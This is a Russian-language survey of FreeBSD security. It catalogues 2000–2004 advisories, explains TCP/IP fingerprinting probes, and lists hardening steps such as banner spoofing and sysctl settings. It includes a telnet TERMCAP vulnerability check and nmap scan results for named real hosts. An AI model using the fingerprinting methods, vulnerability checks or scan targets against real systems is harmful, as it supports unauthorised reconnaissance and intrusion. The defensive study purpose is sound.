Опубликованно: 19.04.2002 Источник: FreeBSD Тип: local Опасность: 6 Описание: Локальный пользователь может получить привелегии суперпользователя. Известно что программа 'keyinit' меняющая ID пользователя подверженна этой уязвимости. Затронутые продукты: FreeBSD 4.5 и более ранние Оригинал: FreeBSD-SA-02:23.stdio Приложение 91Возможен неавторизованный доступ к suid-процессам FreeBSD 4.5 5.0
Опубликованно: 22.04.2002 Источник: SECURITEAM Тип: local Опасность: 9 Описание: Исчерпав файловые дискрипторы в системе и закрыв stderr и вызвав suid-приложение можно вызвать ситуацию, что открытый приложением файл получит дискриптор с номером 2 и в него будет перенаправлен поток stderr. Затронутые продукты: FreeBSD 4.5 и 5.0 Оригинал: Pine Internet Advisory: Setuid application execution may give local root in FreeBSD FreeBSD-SA-02:23.stdio stdio kernel bug in All releases of FreeBSDНесколько уязвимых мест в Bzip2 для FreeBSD 4.4-4.5
Опубликованно: 01.05.2002 Источник: FreeBSD Тип: local Опасность: 5 Описание: Bzip2 - расширенная утилита сжатия файла, поставляемая по умолчанию с FreeBSD 4.4-RELEASE.Уязвимое место k5su в FreeBSD 4.4-4.5
Опубликованно: 20.05.2002 Источник: FreeBSD Тип: local Опасность: 6 Описание: Утилита K5su - SU утилита, подобная su (1), и используется для изменения привилегии после идентификации, используя Kerberos 5 или местный passwd(5) файл. K5su установлен как часть пакета 'krb5', с установленным набором MAKE_KERBEROS5.Уязвимость маскировки процессов в FreeBSD 4.3-4.5
Опубликованно: 21.05.2002 Источник: Buqtrack Тип: local Опасность: 3 Описание: Уязвимость в механизме маскировки процессов в FreeBSD В FreeBSD, установка kern.ps_showallprocs=0 через sysctl запрос, как предполагается, отключает нормальных пользователей от наблюдения за любыми выполняемыми процессами, которые не принадлежат им. Однако текущее выполнение этой особенности не предотвращает пользователя от просмотра процессов (используя procfs filesystem или команду ps с некоторыми опциями). Затронутые продукты: FreeBSD 4.3-4.5 Оригинал: ps under FreeBSD Приложение 110FreeBSD 4.4 - 4.5 rc script file deletion
Опубликованно: 31.05.2002 Источник: BUGTRAQ Тип: local Опасность: 5 Описание: Не проверяются символические ссылки при очистке /tmp. Затронутые продукты: FreeBSD 4.4 - 4.5 Оригинал: FreeBSD-SA-02:27.rc Приложение 63Уязвимости файловой системы FFS в FreeBSD 4.6
Опубликованно: 05.08.2002 Источник: FreeBSD Тип: local Опасность: 6 Описание: Berkeley Fast File System (FFS) - файловая система, по умолчанию используемая в FreeBSD.Утечка информации в ktrace FreeBSD 4.6
Опубликованно: 12.07.2002 Источник: FreeBSD Тип: local Опасность: 5 Описание: Локольные пользователи системы где ktrace включена опцией ядра KTRACE, могут получить доступ к важной информации, такой как - файлы паролей и ключи аутентификации. Пока не известны конкретные утилиты подверженные этой уязвимости. Затронутые продукты: FreeBSD 4.6 и более ранние Оригинал: FreeBSD-SA-02:30.ktrace Приложение 109Уязвимое место в pppd FreeBSD 4.3-4.6
Опубликованно: 31.07.2002 Источник: FreeBSD Тип: local Опасность: 4 Описание: Локальный злоумышленник может использовать уязвимое место для получения прав на запись в критические системные файлы, такие как /etc/crontab и таким образом повысить свои права.Переполнение буфера системных вызовов в FreeBSD 4.0-4.6
Опубликованно: 21.08.2002 Источник: FreeBSD Тип: local Опасность: 6 Описание: Уязвимость связанна с тем, что системные вызовы принимают параметры как положительные целые числа, в то время как в действительности они обрабатываются как целые числа со знаком. Если отрицательное число снабжено для такого параметра, механизмы проверки границы для него не сработают. Снабжая большие отрицательные числа, нападающий может заставить вызовы возвратить часть памяти ядра, которая может содержать множество системной информации, типа кэша файла или паролей пользователя. В некоторых слкчаях уязвимость возможно может использоваться для выполнения произвольного кода. Уязвимые вызовы: accept(2), getsockname(2), and getpeername(2), vesa(4), FBIO_GETPALETTE ioctl(2). Затронутые продукты: FreeBSD 4.0 - 4.6 Оригинал: FreeBSD-SA-02:38.signed-error.asc Приложение 95DoS ядра FreeBsd изза kqueue FreeBSD 4.3-4.6
Опубликованно: 07.08.2002 Источник: FreeBSD Тип: local Опасность: 5 Описание: DoS против ядра FreeBsd используя механизм kqueueУязвимое место libkvm файловых дескрипторов FreeBSD 4.2 - 4.6
Опубликованно: 17.09.2002 Источник: Buqtrack Тип: local Опасность: 5 Описание: Уязвимость, обнаруженная в FreeBSD ports asmon, ascpu, bubblemon, wmmon и wmnet2, позволяет локальному пользователю управлять открытыми файловыми дескрипторами, чтобы получить root привилегии на целевой системе. Эти пять программ установлены как setgid kmem по умолчанию. При их выполнении пользователем, программы понижают свои привилегии, но дескрипторы файлов в /dev/mem и /dev/kmem остаются открытыми. Уязвимость может использоваться различными способами (например, атакующий может просмотреть файл master password в памяти Linux ядра). Затронутые продукты: FreeBSD 4.6.2 и предыдущие Оригинал: FreeBSD-SA-02:39.libkvm FreeBSD Ports libkvm Security Vulnerabilities Приложение 72Уяязвимое место в smrsh sendmail freebsd 4.3 - 4.7
Опубликованно: 12.11.2002 Источник: FreeBSD Тип: local Опасность: 4 Описание: Пользователи с локальными учетными записями и возможностью изменять свои `.forward' файлы может обойти ограничения smrsh. Это в основном касается систем которые имеют локальных пользователей с отсутствующими правами на терминальное подключение, тогда эти пользователи смогут выполнять произвольные команды с обычными правами. Затронутые продукты: FreeBSD 4.7 и более ранние Оригинал: FreeBSD-SA-02:41.smrsh Приложение 75переполнение буфера в fpathconf ядра freebsd 4.3-4.7 и 5.0
Опубликованно: 07.01.2003 Источник: FreeBSD Тип: local Опасность: 5 Описание: Локальное целочисленное переполнение буфера в FreeBSDУязвимость при проверке сигналов FreeBSD 4.3-4.8 5.1
Опубликованно: 10.08.2003 Источник: FreeBSD Тип: local Опасность: 6 Описание: Уязвимость обнаружена в FreeBSD ядре в проверке значений номера сигналов. Локальный пользователь может аварийно завершить работу системы. В некоторых конфигурациях, локальный пользователь может изменить память ядра и получить полный контроль над системой.Раскрытие части памяти в kernel ibcs2 FreeBSD 4.3 - 4.8 5.1
Опубликованно: 10.08.2003 Источник: FreeBSD Тип: local Опасность: 4 Описание: Уязвимость обнаружена в FreeBSD ядре в 'ibcs2.ko' загружаемом модуле ядра. Локальный пользователь может читать части памяти ядра и может получить поднятые привилегии, используя информацию, содержащуюся в памяти ядра.Переполнение буфера в procfs FreeBSD 4.3-4.8 5.2
Опубликованно: 03.10.2003 Источник: FreeBSD Тип: local Опасность: 5 Описание: Уязвимость обнаружена в FreeBSD ядре в procfs. Локальный пользователь может аварийно завершить работу системы. Локальный пользователь может читать произвольные части памяти ядра, чтобы получить поднятые привилегии.Переполнение буфера в FreeBSD 4.3-4.8 в readv
Опубликованно: 4.11.2003 Источник: Pine Digital Security Advisory Тип: local Опасность: 5 Описание: Целочисленное переполнение буфера обнаружено в операционной системе FreeBSD в readv(2) системном вызове. Локальный пользователь может аварийно завершить работу ядра. Локальный пользователь может получить доступ на чтение и запись к файлам на системе, чтобы получить поднятые привилегии.FreeBSD 5.0-5.2 smat privilege escalation
Опубликованно: 06.02.2004 Источник: BUGTRAQ Тип: local Опасность: 6 Описание: Возможно получить доступ к невыделенным страницам физической памяти. Затронутые продукты: FreeBSD 5.0 - 5.2 Оригинал: reference count overflow in shmat() Приложение 64Переполнение буфера FreeBSD shmat 4.7-4.9 5.2
Опубликованно: 05.02.2004 Источник: FreeBSD Тип: local Опасность: 6 Описание: Целочисленное переполнение буфера обнаружено в функции shmat() в FreeBSD, NetBSD, и OpenBSD. Локальный пользователь может получить поднятые привилегии на целевой системе.Уязвимое место в Jail FreeBSD ядре 5.1-5.2
Опубликованно: 25.02.2004 Источник: FreeBSD Тип: local Опасность: 4 Описание: Уязвимость обнаружена в FreeBSD ядре. Суперпользовательский процесс в пределах пространства пользователя (jail), может получить полный доступ к другому jail на целевой системе.DoS в FreeBSD 5.2
Опубликованно: 30.03.2004 Источник: FreeBSD Тип: local Опасность: 5 Описание: Уязвимость обнаружена в FreeBSD в IPv6 setsockopt(2) запросе. Локальный пользователь может просматривать память ядра или вызвать панику ядра (kernel panic).Возможна блокировка изменений в файлах в FreeBSD 4.10 5.2
Опубликованно: 26.05.2004 Источник: FreeBSD Тип: local Опасность: 4 Описание: Уязвимость обнаружена в FreeBSD msync(2) системном вызове. Локальный пользователь может в некоторых случаях препятствовать изменениям, которые были внесены в файл.Уязвимость Jail в FreeBSD 4.1-4.10
Опубликованно: 07.06.2004 Источник: FreeBSD Тип: local Опасность: 6 Описание: Уязвимость обнаружена в jail(2) в FreeBSD ядре. Jail процесс может изменять таблицу маршрутизации хоста.dos в FreeBSD 5.1 execve
Опубликованно: 28.06.2004 Источник: Buqtrack Тип: local Опасность: 5 Описание: Обнаружена уязвимость в FreeBSD execve(). Локальный атакующий может вызвать отказ в обслуживании системы.Уязвимое место в FreeBSD ядре 4.x и 5.x в Linux binary
Опубликованно: 03.07.2004 Источник: FreeBSD Тип: local Опасность: 5 Описание: Уязвимость в FreeBSD ядре в Linux binary compatibility режиме позволяет локальному пользователю получить поднятые привилегии или вызвать условия отказа в обслуживании.Уязвимое место в FreeBSD syscons 5.x
Опубликованно: 04.10.2004 Источник: FreeBSD Тип: local Опасность: 5 Описание: Уязвимость обнаружена в FreeBSD в syscons. Локальный пользователь может просмотреть части памяти ядра.Раскрытие содержания памяти ядра в FreeBSD procfs/linprocfs
Опубликованно: 01.12.2004 Источник: SECUNIA Тип: local Опасность: 5 Описание: Уязвимость, обнаруженная в FreeBSD, позволяет локальному пользователю получить доступ к чувствительной информации или вызвать отказ в обслуживании.Часть 3. уязвимые места в портах(ports) FreeBSD
WuFTPD remote root FreeBSd 3.4 4.0 5.0
Опубликованно: 23.06.2000 Источник: Securiteam Тип: remote Опасность: 9 Описание: Новая уязвимость в сервисе WuFTPD, позволяет удаленному злоумышленнику получить привилегии суперпользователя в системе. Эксплоит пытается создать специальную директорию используя команду MKD, а потом поменять текущую FTP директорию на неё используя команду CWD и вызываякомманду SITE EXEC в ней. Для успешной атаки достаточно анонимного доступа. Затронутые продукты: FreeBSD 3.4 4.0 5.0 с установленным wu-ftp 2.6.0 Оригинал: WuFTPD remote root Exploit: WuFTPD remote rootПереполнение буфера в mutt ports FreeBSD 4.4
Опубликованно: 04.01.2002 Источник: SECURITEAM Тип: remote Описание: Злоумышленник может отправить email письмо со специально составленным адресом в любом из заголовков письма уязвимой системе. Когда жертва прочитает письмо используя программу mutt и обработает email адрес, возможно переполнение буфера и в результате выполнение произвольного кода. Затронутые продукты: FreeBSD 4.4 Оригинал: FreeBSD-SA-02:04.mutt.asc Приложение 42Обход аутентификации в mod_auth_pgsql FreeBSD 4.4
Опубликованно: 04.01.2002 Источник: FreeBSD Тип: remote Описание: Уязвимое место - удаленный пользователь может вставить произвольный SQL код в свое имя во время идентификации, приводит к нескольким вариантам использования этого. В частности злоумышленник может заставить mod_auth_pgsql использовать известные хеши паролей во время проверки пользователя, что позволит ему аутентифицироваться как любой из пользователей и получить соответствующие права. Затронутые продукты: FreeBSD 4.4 Оригинал: FreeBSD-SA-02:03 Приложение 44Уязвимость в sudo-1.6.4.1 и все более ранние
Опубликованно: 16.1.2002 Источник: FreeBSD Тип: local Опасность: 5 Описание: Сервис sudo версии до 1.6.4.1 содержит уязвимость, которую можно использовать для локального повышения привилегий до прав суперпользователя. Если пользователь который не авторизован как системный администратор( перечисленные в файле ‘sudoers’) пытается использовать sudo, сервис посылает тревожное сообщение email. Когда он делает это, он вызывает почтовый сервис с привилегией суперпользователя с большинством его параметров окружения. Если почтовая система подвержена влиянию переменных окружения, то злоумышленник может получить привилегии суперпользователя.Удаленное выполнение кода в rsync FreeBSD 4.4
Опубликованно: 06.02.2002 Источник: FreeBSD Тип: remote Опасность: 8 Описание: Удаленный злоумышленник может заставить rsync записать NULL байт в свой стек. Это может быть использовано для выполнения произвольного кода с привилегиями процесса rsync. Эта уязвимость скорее может использоваться против систем, на которых сервис rsync запущен в серверном режиме, хотя возможет вариант аналогичного воздействия и на rsync клиентов. Затронутые продукты: FreeBSD 4.4 с установленным rsync2.5.1 Оригинал: FreeBSD-SA-02:10.rsync Приложение 49Уязвимость в ucd-snmp/net-snmp FreeBSd 4.4
Опубликованно: 12.02.2002 Источник: FreeBSD Тип: remote Опасность: 8 Описание: Эта уязвимость может использоваться злоумышленником для выполнения произвольного кода SNMP агентом с привилегиями суперпользователя. Злонамеренные агенты могут ответить на запрос специально сконструированным ответом, который приведет к выполнению произвольного кода клиентами. Затронутые продукты: FreeBSd 4.4 c Net-SNMP 4.2.3 и ранние Оригинал: FreeBSD-SA-02:11.snmp Exploit: UCD-snmp-4.0.1-5 Remote Buffer Overflow exploitМножественные уязвимости в squid в FreeBSD 4.5
Опубликованно: 21.02.2002 Источник: FreeBSD Тип: remote Опасность: 6 Описание: 1) Злоумышленник с возможность посылать пакеты через Squid сервису SNMP может заставить Squid исчерпать ресурсы памяти и выйти из строя. ( В FreeBSD сервис SNMP не включен по умолчанию).Обход идентификации в pam-pgsql FreeBSD 4.4
Опубликованно: 12.03.2002 Источник: FreeBSD Тип: remote Описание: Пользователь взаимодействующий с использующим PAM сервисом может вставить произвольный SQL код в поля для имени пользователя или пароля, во время аутентификации или во время смены пароля, что приводит к нескольким вариантам эксплуатации. Во всех версиях pam_pgsql вплоть до 0.5.2, злоумышленник может может добавлять или изменять записи пользователей. В дополнение в версиях pam-pgsql вплоть до 0.3 злоумышленник может заставить pam-pqsql полностью обойти проверку пароля при аутентификации, что позволяет заходить от имени любого пользователя и получить авторизованный доступ к сервисам использующим PAM. Так как к PAM приложениям относятся сервисы login и sshd – возможны как удаленные так и локальные атаки. Затронутые продукты: FreeBSD 4.4 Оригинал: FreeBSD-SA-02:14 Приложение 45Уязвимость форматной строки в cyrus-sasl FreeBSD 4.5
Опубликованно: 12.03.2002 Источник: FreeBSD Тип: remote Опасность: 8 Описание: Злоумышленник может заставить приложение, использующее cyrus-sasl выполнить, произвольный код с привилегиями процесса. Пока нет и звестных эксплоитов для данной уязвимости. Затронутые продукты: Оригинал: FreeBSD-SA-02:12.squid Приложение 51Переполнение буфера в squid при обработке DNS запросов FreeBSD 4.5
Опубликованно: 26.03.2002 Источник: FreeBSD Тип: remote Опасность: 5 Описание: Злонамеренный DNS сервер (или злоумышленник, подделывающий DNS сервер) может ответить на DNS запрос специально сконструированным ответом, который вызовет переполнение буфера. Это приводит к выходу из строя squid процесса. Затронутые продукты: FreeBSD 4.5 с squid 2.4_9 и предыдущие Оригинал: FreeBSD-SA-02:19.squid Приложение 48Сервис openssh имеет удаленно уязвимое место в FreeBSD 4.5 и предыдущих
Опубликованно: 15.07.2002 Источник: FreeBSD Тип: remote Опасность: 8 Описание: Удаленный злоумышленник может использовать измененный SSH клиент для того чтобы послать специально спроектированный ответ SSH2_MSG_USERAUTH_INFO_RESPONSE серверу, который приведет к получению полномочий суперпользователя на этой системе. Затронутые продукты: openssh 3.2.3 и более ранние в Freebsd 4.5 Оригинал: FreeBSD-SA-02:31.openssh Эксплоит: proof of concept openssh 2.9 - 3.3.1Удаленная уязвимость в CVS для FreeBSD 4.7 5.0
Опубликованно: 04.02.2003 Источник: FreeBSD Тип: remote Опасность: 8 Описание: Злоумышленник может использовать уязвимое место в double-free() для того чтобы обойти проверку права записи. В комбинации с утилитами update-prog/checkin-prog злоумышленник может выполнить произвольные команды с привилегиями CVS сервиса. Такая атака наименее опасна, когда CVS сервис в режиме ‘pserver’ c правами ‘только для чтения’. Затронутые продукты: FreeBSD 4.7 5.0 и все предыдущие Оригинал: FreeBSD-SA-03:01.cvs Приложение 47Переполнение буфера в заголовках Sendmail FreeBSD 4.8
Опубликованно: 03.03.2003 Источник: FreeBSD Тип: remote Описание: Удаленный злоумышленник может создать специально спроектированное письмо которое заставит sendmail выполнить произвольный код с привилегиями сервиса sendmail, обычно суперпользователя. Злонамеренное сообщение должно быть обработано (что и вызывает уязвимость) MTA sendmail инициализации, передачи или доставки. Использование этой уязвимости достаточно сложно, но возможно. Затронутые продукты: FreeBSD 4.8 и предыдущие Оригинал: FreeBSD-SA-03:04.sendmail Exploit: sendmail 8.8.4, freebsd, mime 7to8, remoteПереаолнение буфера в Samba 2.2.8 позволяет удаленно получить права суперпользователя
Опубликованно: 08.04.2003 Источник: Securiteam Тип: remote Опасность: 9 Описание: Samba – это сервис который доступ к файлам и принтерам для клиентов SMB/CIFS. Переполнение буфера в сервисе Samba позволяет злоумышленнику выполнение произвольного кода с привилегиями суперпользователя. Затронутые продукты: FreeBSD 4.6.2 и другие с samba 2.2.8 Оригинал: Buffer Overflow in Samba allows remote root compromise Exploit: Remote BSD Samba call_trans2open i386 Buffer Overflow ExploitПереполнение буфера в upclient в FreeBSD 4.8
Опубликованно: 30.05.2003 Источник: Buqtrack Тип: local Описание: Переполнение буфера обнаружено в UpClient. Локальный пользователь может получить поднятые привилегии на системе.Уязвимое место в sendmail DNS FreeBSD 4.6 4.8
Опубликованно: 26.08.2003 Источник: FreeBSD Тип: local Описание:Вызов функции free() с неинициализированным указателем может привести порожденный sendmail процесс к выходу из строя. Также возможно злоумышленник сможет повлиять на значение этого указателя и привести к освобождению произвольного участка памяти. Это может привести к возможности провести атаку. Затронутые продукты: FreeBSD 4.6-4.8 с установленным sendmail (8.12.0 - 8.12.8) Оригинал: FreeBSD-SA-03:11.sendmail Эксплоит: Local exploit for the sendmail vuln in 8.12.9 and below.OpenSSL vulnerabilities in ASN.1 parsing FreeBSD 4.8 5.1
Опубликованно: 03.10.2003 Источник: FreeBSD Тип: remote Опасность: 8 Описание: Удаленный злоумышленник может создать специальное сообщение, закодированное в ASN.1 которое приведет к отказу приложения, использующего OpenSSL или возможно к выполнению произвольного кода с привилегиями приложения.Bind8 negative cache poison attack FreeBSD 4.9 5.1
Опубликованно: 28.11.2003 Источник: FreeBSD Тип: remote Опасность: 5 Описание: Злоумышленник может послать поддельное DNS сообщение, направленное на уязвимый сервер, и заставит сервис имен (name server) сохранить в кэш-е отрицательный ответ для некоторого доменного имени. Соответственно сервис имен ответит отрицательно на обычные запросы к этому доменному имени, что в результате может привести к отказу в обслуживании для приложений использующих DNS. Затронутые продукты: FreeBSD 4.9 5.1 и предыдущие Оригинал: FreeBSD-SA-03:19.bind Приложение 37Denial-of-service vulnerability in OpenSSL FreeBSD 4.9 5.2
Опубликованно: 17.03.2004 Источник: FreeBSD Тип: remote Описание: Удаленный злоумышленник может выполнить специально созданное SSL/TSL соединение с приложениями использующими OpenSSL, вызвать указатель на пустое место и привести приложение к отказу. Исходя из специфики сервиса, это может привести к успешному отказу в обслуживании. Затронутые продукты: FreeBSD 4.9 5.2 и предыдущие Оригинал: FreeBSD-SA-04:05.openssl Exploit: apache + openssl 0.9Удаленное переполнение буфера кучи heimdal kadmind в FreeBSD 4.9 5.2
Опубликованно: 05.05.2004 Источник: FreeBSD Тип: remote Описание: Удаленный злоумышленник может послать специально сформированное сообщение сервису k5admind, произвести отказ в обслуживании сервиса или возможно выполнение произвольного кода. Затронутые продукты: FreeBSD 4.9 5.1 Оригинал: FreeBSD-SA-04:09.kadmind Приложение 41Courier-IMAP Remote Format String Vulnerability FreeBSD 4.10
Опубликованно: 19.07.2004 Источник: IDEFENSE Тип: remote Опасность: 9 Описание: Удаленная уязвимость форматной строки в сервисе Courier-IMAP позволяет злоумышленнику выполнять произвольный код.Уязвимое место в CVS in FreeBSD 4.10 5.2
Опубликованно: 19.09.2004 Источник: FreeBSD Тип: remote Опасность: серьезная Описание: CVS сервер подвержен нескольким уязвимостям. Они различаются по степени опасности: это раскрытие важной информации, отказ в обслуживании, или выполнение произвольного кода. В особых ситуациях, где атакующий может как-то менять содержимое конфигурационных файлов CVS, возможны и другие атаки. Затронутые продукты: FreeBSD 4.10 5.2 и предыдущие Оригинал: FreeBSD-SA-04:14.cvs CVS Undocumented Flag Information Disclosure Vulnerability More CVS remote vulnerabilities CAN-2004-0416 Exploit: cvs remote root4. Определение версии ОС и сервисов FreeBSD
4.1 Методы определение версии ОС
+-----------------------------------------------------+ | SEND | INFO | |-----------------------------------------------------| | | | | SYN | SYN пакет на открытый порт | | | | | ---- | NULL пакет на открытый порт | | | | |SYN+FIN+URG+PSH |SYN|FIN|URG|PSH пакет на открытый порт| | | | | ACK | пакет на открытый порт | | | | | #SYN | SYN на закрытый порт | | | | | #ACK | ACK на закрытый порт | | | | | #FIN+PSH+URG | FIN|PSH|URG на закрытый порт | | | | | #UDP | UDP packet на закрытый порт | +-----------------------------------------------------+
+-------------------+ | Forged IP Header | |------------------------------------------+ | header length | 5 | | ip version | 4 (IPv4) | | tos | 0 | | total length | 40 | | offset | 0 | | id | 10000 + {src-port} | | ttl | 255 | | source | {src-addr} | | destination | {dest-addr} | | ip checksum | variable | | protocol | tcp | +------------------------------------------+ +-------------------+ | Forged TCP Header | |------------------------------------------+ | source port | {src-port} | | destination port | {dest-port} | | seq | variable | | ack | 0 | | ( x2_offset | 0x50 (80) ) | | x2 (unused) | 0 unless x2_offset | | offset | 5 unless x2_offset | | flags | variable | | tcp checksum | variable | | window | 0x1234 (4660) | | urgent pointer | 0 | +------------------------------------------+
T1 - SYN +------------+ SYN +-------------------+ | | -----------------------------------> | | | Source | | Destination | | | <----------------------------------- | | +------------+ SYN|ACK +-------------------+ | +-------------------------+ | Packet Information: | |-------------------------| | dont fragment: Y | | window: 0x402E | | ack: seq+1 | | reply: SYN|ACK | +-------------------------+ | T1:1:0x402E:S++:SA | +-------------------------+ T2 - NULL +------------+ NULL +-------------------+ | | -----------------------------------> | | | Source | | Destination | | | <----------------------------------- | | +------------+ no reply +-------------------+ | +-------------------------+ | Packet Information: | |-------------------------| | | | dont fragment: - (none)| | window: - (none) | | ack: - (none) | | reply: - (none) | +-------------------------+ | T2:-:-:-:- | +-------------------------+ T3 - SYN|FIN|URG|PSH +------------+ SYN|FIN|URG|PSH +-------------------+ | | -----------------------------------> | | | Source | | Destination | | | <----------------------------------- | | +------------+ SYN|ACK +-------------------+ | +-------------------------+ | Packet Information: | |-------------------------| | dont fragment: Y | | window: 0x402E | | ack: seq+1 | | reply: SYN|ACK | +-------------------------+ | T1:1:0x402E:S++:SA | +-------------------------+ T4 - ACK +------------+ ACK +-------------------+ | | -----------------------------------> | | | Source | | Destination | | | <----------------------------------- | | +------------+ RST +-------------------+ | +-------------------------+ | Packet Information: | |-------------------------| | dont fragment: N | | window: 0 | | ack: 0 | | reply: RST | +-------------------------+ | T4:0:0:0:R | +-------------------------+ T5 - #SYN +------------+ #SYN +-------------------+ | | -----------------------------------> | | | Source | | Destination | | | <----------------------------------- | | +------------+ RST|ACK +-------------------+ | +-------------------------+ | Packet Information: | |-------------------------| | dont fragment: N | | window: 0 | | ack: seq+1 | | reply: RST|ACK | +-------------------------+ | T5:0:0:S++:AR | +-------------------------+ T6 - #ACK +------------+ #ACK +-------------------+ | | -----------------------------------> | | | Source | | Destination | | | <----------------------------------- | | +------------+ RST +-------------------+ | +-------------------------+ | Packet Information: | |-------------------------| | dont fragment: N | | window: 0 | | ack: 0 | | reply: RST | +-------------------------+ | T6:0:0:0:R | +-------------------------+ T7 - #FIN|PSH|URG +------------+ #FIN|PSH|URG +-------------------+ | | -----------------------------------> | | | Source | | Destination | | | <----------------------------------- | | +------------+ RST|ACK +-------------------+ | +-------------------------+ | Packet Information: | |-------------------------| | dont fragment: N | | window: 0 | | ack: seq | | reply: RST|ACK | +-------------------------+ | T7:0:0:S:AR | +-------------------------+
T1:1:402E:S++:AS T2:-:-:-:- T3:1:402E:S++:AS T4:0:0:O:R T5:0:0:S++:AR T6:0:0:O:R T7:0:0:S:ARПодходящее совпадение: FreeBSD 3.4
4.3 Методы определения версии сервисов и портированных программ FreeBSD
4.3 Парирование определения версии ОС и сервисов FreeBSD
#define SERVER_BASEPRODUCT "Apache" #define SERVER_BASEREVISION "X.X.X" Вместо него напишем (выдаем за ОС Windows + IIS) #define SERVER_BASEPRODUCT "Microsoft-IIS" #define SERVER_BASEREVISION "5.0" Дополнительно проверим, что в http.conf есть: ServerSignature Off (IIS не ставит подпись в рапортах об ошибках) ServerTokens Min (Для того чтобы выдавать только ту информацию которую мы изменили)
static char version[] = "Version 6.00LS"; меняем, к примеру, на "Version 5.0" далее, reply(220, "%s FTP server (%s) ready.", hostname, version); Меняем на reply(220, "%s Microsoft FTP Service (%s).", hostname, version); В файле ftpcmd.y : | SYST check_login CRLF { if ($2) #ifdef unix #ifdef BSD reply(215, "UNIX Type: L%d Version: BSD-%d", NBBY, BSD); #else /* BSD */ reply(215, "UNIX Type: L%d", NBBY); #endif /* BSD */ #else /* unix */ reply(215, "UNKNOWN Type: L%d", NBBY); #endif /* unix */ } Меняем на | SYST check_login CRLF { if ($2) reply(215, "Windows_NT version 5.0", } Теперь можно поменять приветствие строку "Guest login ok, send your email address as password." преобразовать в: "Anonymous access allowed, send identity (e-mail name) as password." В ftp сервере ProFTPd - достаточно добавить опцию ServerIdent off Для того чтобы отключить вывод баннеров.4.3.2 Для защиты от методов опроса стека TCP/IP для определения версии сервисов и ОС FreeBSD позволяет поменять большинство параметров стека TCP/IP, но при этом необходимо понимать что такие изменения могут отрицательно сказатся на производительности системы.
Параметр TTL Чтобы поменять TTL с 64 на 128 можно сделать следующее: # echo "net.inet.ip.ttl=128" >> /etc/sysctl.confРеакция на пакеты SYN+FIN
опцию в конфигурации ядра options TCP_DROP_SYNFIN а в /etc/rc.conf соответственно: tcp_drop_synfin="YES"Ответы RST при получении пакетов на закрытый порт Чтобы ОС FreeBSD никогда не отвечала пакетами RST, несмотря на рекомендации RFC, добавим
опцию в конфигурации ядра options TCP_RESTRICT_RST а в /etc/rc.conf соответственно: tcp_retrict_rst="YES" В современных версиях ОС FreeBSD эти параметры необходимо устанавливать в /etc/sysctl.conf sysctl -w net.inet.tcp.blackhole=[0 | 1 | 2] 0 - обычная реакция по RFC 1 - отбрасывается SYN пакет пришедший на закрытый порт 2 - отбрасываются без ответа все пакеты пришедшие на закрытый порт sysctl -w net.inet.udp.blackhole=[0 | 1] 0 - при получении пакета на закрытый порт отвечает ICMP port unreachable 1 - отбрасывает пакет и не отвечает Параметры IP пакетов ограничиваем количество ICMP-ответов options ICMP_BANDLIM генерируем случайный идентификатор IP-пакетов options RANDOM_IP_ID В современных версиях ОС FreeBSD эти параметры необходимо устанавливать в /etc/sysctl.conf ICMP_BANDLIM => net.inet.icmp.icmplim=100 RANDOM_IP_ID => net.inet.ip.random_id
5. Защитные механизмы в FreeBSD.
// проверка уязвимости >telnet telnet> environ define TERMCAP /etc/termcap или environ define TERMCAP /dev/logПропатченный сервер выдает ошибку BAD_ENVIRON_VAR, современные версии ОС FreeBSD не содержат эту уязвимость и игнорируют параметр TERMCAP
Ограничение количества запущенных демонов (служб), с помощью inetd, tcp-wrappers
Inetd выступает в качестве управляющего сервера для других служб. Когда Inetd принимает соединение, он определяет, для какого сервиса предназначено соединение, вызывает соответствующий демон и предоставляет ему сокет. Запуск одного экземпляра inetd уменьшает общую нагрузку на систему по сравнению с запуском каждого даемона индивидуально в выделенном режиме. Но так как демон inetd является одним из узких мест в обеспечении безопасности как из-за количества уже обнаруженных уязвимых мест, и потенциальных уязвимостей. Необходимо отключить все сервисы, какие есть возможность вызывать подругому. Через Inetd можно запускать не критические редко используемые сервисы. Для этого необходимо редактировать файлsshd : localhost : allow sshd : x.x.x.x, x.x.x.x : allow # разрешить ssh запросы только из сетей x.x.x.x sshd : all : deny # запретить запросы ssh из остальных сетей ftpd : ALL : deny #запретить подключение на ftp
Настройка соответствующих сетевых параметров
Для уменьшения опасности проведения DOS атак на систему, необходимо внести следующие добавления в файл /etc/sysctl.confИспользование шифрованных каналов передачи информации - например SSH.
Для обеспечения дополнительной безопасности системе FreeBSd возможно использование таких криптографических протоколов как – OpenSSH, IPSEC, OpenSSL, Kerberos, и многие другие.Ipfw , ipf , pf- механизм фильтрации входящих и проходящих пакетов.
С помощью этих брандмауэров можно ограничивать сетевой трафик в соответствии с потребностями.Разграничение прав пользователей.
При помощи команды chmod 600, мы разрешаем доступ только пользователю root на запись и чтение файла.Изменение корня chroot и jail
В ОС FreeBSD есть дололнительные средства для обеспечения безопасности, на случай если есть вероятность, что на сервис может быть проведена успешная атака. Использование Chroot вызывает выполнение указанной команды относительно нового корневого каталога. Для специфицированной команды и всех порожденных ею процессов начальный символ / в маршрутных именах означает новый_корень. Этот же каталог на время выполнения команды становится текущим. Таким образом, можно обеспечить то, что сервис не будет иметь достапа к остальной информации на диске. Использовать в скриптах запуска:CVSup для свежих обновлений
Для того, чтобы исходные коды и документация всегда были обновленными, необходимо регулярно запускать cvsup при помощи задач cron.6. Практическое исследование сети на основе ОС FreeBSD.
Идентификация.Interesting ports on usb.pssr.ru (195.38.48.55): PORT STATE SERVICE> 25/tcp open smtp 53/tcp open domain 21/tcp open ftp 80/tcp open http 443/tcp open https 1723/tcp open pptp Interesting ports on ns.pssr.ru (195.38.48.68): (The 1614 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 25/tcp open smtp 53/tcp open domain nteresting ports on energo.pssr.ru (195.38.48.67): (The 1612 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 25/tcp open smtp 53/tcp open domain 113/tcp open auth 119/tcp open nntpТестирование.
